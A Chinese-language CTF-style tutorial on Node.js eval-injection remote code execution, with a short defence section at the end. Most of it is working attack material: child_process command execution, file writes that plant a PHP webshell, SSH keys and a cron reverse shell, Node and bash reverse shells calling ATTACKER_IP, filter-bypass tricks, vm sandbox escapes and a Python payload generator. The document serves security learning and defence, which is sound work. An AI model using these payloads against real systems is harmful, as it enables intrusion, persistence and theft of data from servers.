前言 Node.js 服务端代码如果直接将用户输入拼入 eval()、Function()、setTimeout() 等动态执行函数,后果和 PHP 的 eval($_GET['cmd']) 一样致命——攻击者可以执行任意系统命令。但 Node.js 的异步特性、模块系统、以及 require 的动态加载方式,使得 RCE 手法比 PHP 更加多样。
Node.js RCE 的杀伤链:
1 2 3 4 5 用户输入 → 进入 eval()/Function()/vm.run() → 获取 require 引用 → 加载 child_process 模块 → exec / spawn / execSync → 反弹 shell / 读 flag / 内网探测
本文从漏洞代码分析讲起,覆盖同步/异步命令执行、文件读写、反弹 shell、5 大类绕过手法,以及防御方案。
一、漏洞模式 —— 从 eval 注入开始 1.1 经典漏洞代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 var express = require ('express' );var router = express.Router ();router.get ('/' , function (req, res, next ) { res.type ('html' ); var evalstring = req.query .eval ; if (typeof (evalstring) == 'string' && evalstring.search (/exec|load/i ) > 0 ) { res.render ('index' , { title : 'tql' }); } else { res.render ('index' , { title : eval (evalstring) }); } }); module .exports = router;
攻击:
1 2 3 4 5 6 7 8 GET /?eval=1+1 → 页面显示 2 GET /?eval=require('child_process').execSync('id').toString() → WAF 拦截了!exec 被检测到 GET /?eval=require('child_process')['exe'+'cSync']('id').toString() → WAF 绕过 → 页面显示 uid=1000(node) gid=1000(node) ...
1.2 其他 eval 等价物 Node.js 中以下函数都能执行任意 JS 代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 eval ('console.log("executed")' );new Function ('return 1+1' )();Function ('console.log("executed")' )();setTimeout ('console.log("executed")' , 0 );const vm = require ('vm' );vm.runInThisContext ('console.log("executed")' ); vm.runInNewContext ('console.log("executed")' ); const script = new vm.Script ('console.log("executed")' );script.runInThisContext ();
执行方式
作用域
需要 require
常见程度
eval()
当前作用域
否
高
new Function()
全局作用域
否
高
setTimeout(str, 0)
全局作用域
否
低
vm.runInThisContext()
当前 context
是
中
vm.runInNewContext()
独立 context
是
中
二、命令执行 —— child_process 全解 2.1 同步 vs 异步 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 require ('child_process' ).execSync ('id' ).toString () require ('child_process' ).spawnSync ('cat' , ['/flag' ]).stdout .toString ()require ('child_process' ).execFileSync ('/bin/ls' , ['-la' ]).toString ()const { exec, spawn, execFile, fork } = require ('child_process' );exec ('whoami' , (error, stdout, stderr ) => { if (error) { console .error (`错误: ${error} ` ); return ; } console .log (`输出: ${stdout} ` ); }); const child = spawn ('bash' , ['-c' , 'ping -c 4 8.8.8.8' ]);child.stdout .on ('data' , (data ) => { console .log (`stdout: ${data} ` ); }); child.stderr .on ('data' , (data ) => { console .error (`stderr: ${data} ` ); }); child.on ('close' , (code ) => { console .log (`子进程退出码: ${code} ` ); }); execFile ('/bin/ls' , ['-la' , '/' ], (error, stdout ) => { console .log (stdout); }); const childProcess = fork ('/tmp/evil.js' );childProcess.send ({ cmd : 'start' });
2.2 四大函数对比
函数
同步版本
是否启动 shell
输出方式
适用场景
exec
execSync
是 (/bin/sh)
缓冲区(一次性返回)
短命令,需要 shell 特性(管道、重定向)
spawn
spawnSync
否(默认)
流(Stream)
长输出、交互式、二进制数据
execFile
execFileSync
否(默认)
缓冲区
执行已知可执行文件
fork
无
否
EventEmitter + IPC
启动新的 Node.js 子进程
推荐在 Web exploit 中使用:
1 2 3 4 5 6 7 8 require ('child_process' ).execSync ('cat /flag' ).toString ()require ('child_process' ).spawnSync ('cat' , ['/flag' ]).stdout .toString ()require ('child_process' ).execSync ('cat /flag | base64' ).toString ()
2.3 读取文件(fs 模块) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 require ('fs' ).readFileSync ('/flag' ).toString ()require ('fs' ).readFileSync ('/app/routes/index.js' ).toString ()require ('fs' ).readFileSync ('/flag' , 'utf-8' ) require ('fs' ).readFile ('/flag' , 'utf-8' , (err, data ) => { if (err) throw err; console .log (data); }); require ('fs' ).existsSync ('/flag' ) require ('fs' ).readdirSync ('/' ).toString () require ('child_process' ).execSync ('find / -name "flag*" 2>/dev/null' ).toString ()require ('child_process' ).execSync ('grep -r "flag{" /app/ 2>/dev/null' ).toString ()
2.4 写文件 1 2 3 4 5 6 7 8 9 10 11 require ('fs' ).writeFileSync ('/var/www/html/shell.php' , '<?php system($_GET["cmd"]); ?>' )require ('fs' ).writeFileSync ('/root/.ssh/authorized_keys' , '\nssh-rsa AAAA...' )require ('fs' ).writeFileSync ('/etc/cron.d/backdoor' , '* * * * * root /bin/bash -c "/bin/bash -i >& /dev/tcp/IP/PORT 0>&1"\n' )require ('fs' ).appendFileSync ('/tmp/log' , 'new line\n' )
三、反弹 Shell 3.1 Node.js 实现反弹 Shell 注意:反弹 shell 是长时间运行 的任务,必须使用异步方法 ,否则会阻塞 Node.js 事件循环导致服务挂起。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 (function ( ){ var net = require ("net" ), cp = require ("child_process" ), sh = cp.spawn ("/bin/sh" , []); var client = new net.Socket (); client.connect (4444 , "ATTACKER_IP" , function ( ){ client.pipe (sh.stdin ); sh.stdout .pipe (client); sh.stderr .pipe (client); }); return /a/ ; })(); require ('child_process' ).exec ('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' );require ('child_process' ).spawn ('bash' , ['-c' , 'python3 -c "import pty;pty.spawn(\'/bin/bash\')" | nc ATTACKER_IP 4444' ]);require ('child_process' ).exec ('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' );
3.2 攻击端准备 1 2 3 4 5 6 7 8 9 nc -lvvp 4444 python3 -c 'import pty;pty.spawn("/bin/bash")' stty raw -echo ; fg export TERM=xterm
四、绕过 WAF / 关键字过滤 4.1 字符串拼接绕过 这是最简单也最通用的绕过方式(原题核心技术):
1 2 3 4 5 6 7 8 9 10 11 12 13 require ('child_process' )['exe' + 'cSync' ]('id' ).toString ()require ('child' + '_' + 'process' ).execSync ('id' ).toString ()process.mainModule .constructor ._load ('child_process' ).execSync ('id' ).toString () (function (cm ){ return require ('chil' + 'd_pr' + 'ocess' )[cm]('id' ).toString (); })('exe' + 'cSync' );
4.2 String.fromCharCode 绕过 1 2 3 4 5 6 7 8 const exec = String .fromCharCode (101 , 120 , 101 , 99 ); const cp = String .fromCharCode (99 ,104 ,105 ,108 ,100 ,95 ,112 ,114 ,111 ,99 ,101 ,115 ,115 ); require (cp)[exec + 'Sync' ]('id' ).toString ();require (String .fromCharCode (99 ,104 ,105 ,108 ,100 ,95 ,112 ,114 ,111 ,99 ,101 ,115 ,115 ))[String .fromCharCode (101 ,120 ,101 ,99 ,83 ,121 ,110 ,99 )]('id' ).toString ();
4.3 Base64 解码绕过 1 2 3 4 5 6 7 8 9 10 const cmd = Buffer .from ('Y2F0IC9mbGFn' , 'base64' ).toString ();require ('child_process' ).execSync (cmd).toString ();require ('child_process' ).execSync ( Buffer .from ('Y2F0IC9mbGFn' , 'base64' ).toString () ).toString ();
4.4 动态模块加载 —— 绕过 require 被过滤 方法一:通过 process.mainModule.constructor._load
1 2 3 4 5 6 7 8 9 10 const Module = process.mainModule .constructor ;const childProcess = Module ._load ('child_process' );childProcess.execSync ('id' ).toString (); process.mainModule .constructor ._load ('child_process' ).execSync ('id' ).toString ();
方法二:通过 module.constructor._load
1 module .constructor ._load ('child_process' ).execSync ('id' ).toString ();
方法三:通过当前文件目录推导 require 路径
1 2 3 4 const m = process.mainModule ;const req = m.require || m.constructor .prototype .require ;req ('child_process' ).execSync ('id' ).toString ();
方法四:手动构造 Module 实例
1 2 3 4 5 6 const Module = module .constructor ;const m = new Module ('' );m._compile ('module.exports = require("child_process")' , 'evil.js' ); m.exports .execSync ('id' ).toString ();
4.5 访问底层 C++ Binding —— process.binding 当 require 被完全移除时,process.binding() 仍可以直接调用 Node.js 的 C++ 层:
1 2 3 4 5 6 7 const spawnSync = process.binding ('spawn_sync' );const fsBinding = process.binding ('fs' );
4.6 Unicode / Hex 编码绕过 1 2 3 4 5 6 7 8 9 require ('child_process' )['\x65\x78\x65\x63\x53\x79\x6e\x63' ]('id' ).toString ();require ('child_process' )['execSync' ]('id' ).toString ();eval ('\162\145\161\165\151\162\145' )
4.7 利用 this 上下文逃逸 1 2 3 4 5 Function ('return this.process.mainModule.require("child_process").execSync("id").toString()' )();vm.runInNewContext ('this.constructor.constructor("return this.process")().mainModule.require("child_process").execSync("id").toString()' );
五、绕过技巧对比速查
拦截目标
绕过方式
示例
exec
字符串拼接
'exe' + 'cSync'
整个字符串
String.fromCharCode
String.fromCharCode(101,120,101,99)
require
process.mainModule.constructor._load
见 4.4
child_process
fromCharCode 拼出模块名
见 4.2
所有关键字
Base64 + eval
eval(Buffer.from('...','base64').toString())
eval
Function()()
见 1.2
Function
数组方法构造
[].constructor.constructor("return...")()
ASCII 检测
Unicode / hex 转义
'\x65\x78\x65\x63'
回显过滤
spawnSync().stdout.toString()
无回显则在函数内部反弹 shell
六、CTF 常见攻击链 6.1 经典 eval 注入 1 2 3 4 5 6 7 8 9 发现 eval 注入点 → 尝试 require('child_process').execSync('id').toString() → 被 WAF 拦截? → 字符串拼接 / fromCharCode 绕过 → 拿到 id 回显 → execSync('cat /flag').toString() → 没 flag? → execSync('find / -name "flag*" 2>/dev/null').toString() → 找到路径 → cat → flag
6.2 无回显 → 反弹 Shell 1 2 3 4 5 6 7 发现 eval 注入点 → 各种方法执行命令但无回显 → 确认出网:execSync('curl http://ATTACKER/?test').toString() → 攻击机 nc -lvvp 4444 → 注入反弹 shell payload(见 三) → 拿到交互式 shell → cat /flag
6.3 不出网 → 写 Web Shell 1 2 3 4 5 发现 eval 注入点 → 无法出网(CSP/防火墙限制) → 找 web 目录:execSync('pwd').toString() → 写 webshell: fs.writeFileSync 写入一句话 → 中国蚁剑/哥斯拉连接
七、自动生成 Payload 脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 """Node.js RCE Payload 生成器""" def gen_string_concat (method="execSync" ): """生成字符串拼接版""" half = len (method) // 2 a = method[:half] b = method[half:] return f"""require('child_process')['{a} '+'{b} ']('id').toString()""" def gen_fromcharcode (method="execSync" ): """生成 fromCharCode 版""" codes = ',' .join(str (ord (c)) for c in method) return f"""require('child_process')[String.fromCharCode({codes} )]('id').toString()""" def gen_hex (method="execSync" ): """生成 hex 转义版""" hex_str = '' .join(f'\\x{ord (c):02x} ' for c in method) return f"""require('child_process')['{hex_str} ']('id').toString()""" def gen_base64 (cmd="cat /flag" ): """生成 base64 命令版""" import base64 b64 = base64.b64encode(cmd.encode()).decode() return f"""require('child_process').execSync(Buffer.from('{b64} ','base64').toString()).toString()""" def gen_dynamic_load (method="execSync" ): """生成动态加载版""" return f"""process.mainModule.constructor._load('child_process').{method} ('id').toString()""" def gen_reverse_shell (ip, port ): """生成反弹 shell""" return f"""(function(){{ var net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh",[]); var c=new net.Socket(); c.connect({port} ,"{ip} ",function(){{c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c);}}); return /a/; }})()""" if __name__ == "__main__" : print ("[*] 字符串拼接:" ) print (gen_string_concat()) print ("\n[*] fromCharCode:" ) print (gen_fromcharcode()) print ("\n[*] Hex 转义:" ) print (gen_hex()) print ("\n[*] Base64 命令:" ) print (gen_base64("cat /flag" )) print ("\n[*] 动态加载:" ) print (gen_dynamic_load()) print ("\n[*] 反弹 Shell:" ) print (gen_reverse_shell("10.0.0.1" , 4444 ))
八、防御措施
层面
措施
说明
代码层
永远不要 将用户输入传入 eval()/Function()/vm.run()
没有”安全地使用 eval”这回事
代码层
如果必须动态执行,用静态解析(如 JSON.parse)而非 eval
数据序列化用 JSON,不要用 JS
代码层
安全处理模板变量
模板引擎默认转义,不要用 eval 做表达式求值
代码层
输入白名单
只允许预定义的合法值
运行时
Node.js 20+ 权限模型
--experimental-permission --allow-fs-read=/app/
运行时
移除 require 引用
在沙箱中不暴露 require、process 等全局对象
系统层
最小权限运行
USER node,不要以 root 运行 Node.js
系统层
/tmp 挂载 noexec
防止执行上传的恶意脚本
网络层
限制 Node.js 进程的外连
iptables 限制出站,只允许必要端口
安全输入校验示例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 app.get ('/calc' , (req, res ) => { res.send (String (eval (req.query .expr ))); }); app.get ('/calc' , (req, res ) => { const expr = req.query .expr ; if (!/^[\d+\-*/(). ]+$/ .test (expr)) { return res.status (400 ).send ('Invalid expression' ); } res.send (String (Function ('"use strict"; return (' + expr + ')' )())); });
Node.js 权限模型(v20+) 1 2 3 4 5 node --experimental-permission \ --allow-fs-read=/app/ \ --allow-child-process=0 \ server.js
参考